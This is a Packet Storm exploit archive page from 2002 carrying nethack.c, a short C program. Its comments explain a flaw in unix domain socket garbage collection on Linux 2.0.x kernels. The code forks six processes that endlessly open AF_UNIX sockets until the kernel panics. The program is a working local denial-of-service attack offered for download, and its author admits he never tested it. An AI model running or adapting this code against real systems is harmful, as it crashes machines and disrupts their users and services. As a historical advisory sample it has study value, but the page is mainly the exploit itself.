exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

nethack.c

nethack.c
Posted Aug 26, 2002

This bit of code will cause a Linux kernel 2.0.x

tags | kernel, bbs
systems | linux
SHA-256 | 519d31a13a032c01d1a251cd8d823ad6aabb3b684be8943e1a9cc4d718c2ba3d

nethack.c

Change Mirror Download
/* Linux kernel:
* I found this on the net.. supposedly, this little jewel will cause
* a kernel panic in the kernel's garbage collection routines. I have
* not tested this myself, but supposedly, it works up to 2.0.32 kernels.
* Doctor Who
*
* From the original explanation:
* Kernels 2.0.x do not sufficiently allocate space for the internal
* stack used for garbage collection on unix domain sockets. [...]
*
* Because the garbage collection system defines a MAX_STACK depth of
* 1000 for its internal use, it is relatively trivial to write a
* user-space program which opens up a large number of unix domain
* sockets, eventually causing a kernel panic in the garbage collection
* routines (which test for this limit and panic if hit); on systems
* which have NR_FILE (or /proc/sys/kernel/file-max) set to a value
* larger than 1024 or so. The solution is slightly more complicated
* than simply increasing MAX_STACK, due to the fact that a single page
* is allocated for the stack, and given an i386 architecture, this
* can only hold 1024 entries.
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>

void bomb()
{
while(1) {
while(socket(AF_UNIX,SOCK_STREAM,0) != -1) {
sleep(5);
}
}
}

int main()
{
int i;

printf("forking 6 unix socket bomb processes.\n");
fflush(stdout);

for (i=0; i<6; i++)
if (fork() == 0) bomb();

bomb();
return(0);

}


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close